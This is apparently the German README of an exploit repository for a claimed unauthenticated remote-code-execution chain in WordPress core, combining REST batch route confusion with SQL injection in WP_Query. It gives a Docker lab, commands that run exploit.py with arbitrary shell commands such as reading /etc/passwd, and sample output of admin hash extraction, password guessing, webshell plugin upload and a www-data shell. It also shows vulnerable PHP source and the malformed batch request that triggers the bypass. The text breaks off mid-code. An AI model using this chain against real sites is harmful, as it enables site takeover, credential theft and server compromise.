
# WordPress-Exploit für nicht authentifiziertes RCE, der Routenverwirrung und SQL-Injection kombiniert. Automatisiertes Skript, Laboraufbau und detaillierte Schwachstellenanalyse werden bereitgestellt.
Schwachstelle: REST-Batch-Routenkonfusion + WP_Query SQL Injection → Vollständige RCE
CVSS v3.1: 10.0 / 10.0 — KRITISCH | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Betroffen: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Behoben: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## Schnellstart
### 1. Das verwundbare Labor einrichten
**Voraussetzungen:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. Erwartete Ausgabe```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
| Datei | Beschreibung |
|---|---|
README.md | Vollständige Schwachstellenanalyse und Exploitation-Dokumentation |
exploit.py | Automatisiertes Exploit-Skript (Null-Zugriff → RCE in einem Befehl) |
docker-compose.yml | Verwundbare WordPress-Lab-Umgebung |
chain-rce.md | Dokumentation der automatisierten RCE-Kette |
images/ | Screenshots der manuellen Ausnutzung |
Schwachstelle: Nicht authentifizierte Remote-Code-Ausführung — REST-Batch-Routen-Konfusion + WP_Query-SQL-Injection
CVSS v3.1: 10.0 / 10.0 — KRITISCH
Vektor: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 ist eine nicht authentifizierte RCE-Schwachstelle im WordPress-Kern. Sie kombiniert zwei unabhängige Fehler zu einer vollständigen Exploit-Kette vom Null-Zugriff bis zur vollständigen Server-Übernahme:
| CVE | Fehler | Rolle in der Kette |
|---|---|---|
| CVE-2026-63030 | REST-Batch-Routen-Konfusion | Authentifizierung umgehen |
| CVE-2026-60137 | author__not_in-SQL-Injection | Beliebige Datenbank-Lese-/Schreibzugriffe |
Betroffene Versionen:
Ausnutzungsbedingungen:
→ Der überwiegende Teil der WordPress-Installationen ist standardmäßig verwundbar.
/wp-json/batch/v1)Ermöglicht das Senden mehrerer REST-API-Anfragen innerhalb einer einzigen HTTP-Anfrage:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
Jede Unteranfrage wird einem eigenen Handler zugeordnet, und jeder Handler hat seinen eigenen **Berechtigungs-Callback**.
### WP_Query — `author__not_in`
Zentrale Datenbank-Abfrageklasse. Der Parameter `author__not_in` akzeptiert ein Array von Ganzzahlen und erzeugt die SQL-Klausel:```sql
AND post_author NOT IN (5, 12, 23)
Jedes Element durchläuft absint() → wobei nur der ganzzahlige Teil erhalten bleibt.
wp_parse_url()Wrapper für parse_url(). Bei einer ungültigen URL → gibt WP_Error zurück.```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. Grundursache — Bug A: Batch-Routen-Verwechslung (CVE-2026-63030)
**Datei:** `wp-includes/rest-api/class-wp-rest-server.php`
### Anfälliger Quellcode:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### Warum löst `"///"` den Fehler aus?
Wenn PHP `parse_url()` auf `"///"` trifft, versucht es, sie gemäß **RFC 3986** zu parsen — URL-Struktur:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
Wenn es "///" empfängt, interpretiert es dies als:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP-Rückgabewert:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress verarbeitet dies mit wp_parse_url() → erkennt kein gültiges Schema, keinen gültigen Host, keinen sinnvollen Pfad → gibt WP_Error zurück.
wp_parse_url("///") gibt WP_Error zurück (URL fehlerhaft). Dieser Fehler führt dazu, dass die Anfrage in der Schleife, die $matches aufbaut, übersprungen wird, aber NICHT in der Dispatch-Schleife → das Array wird desynchronisiert.
Datei: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;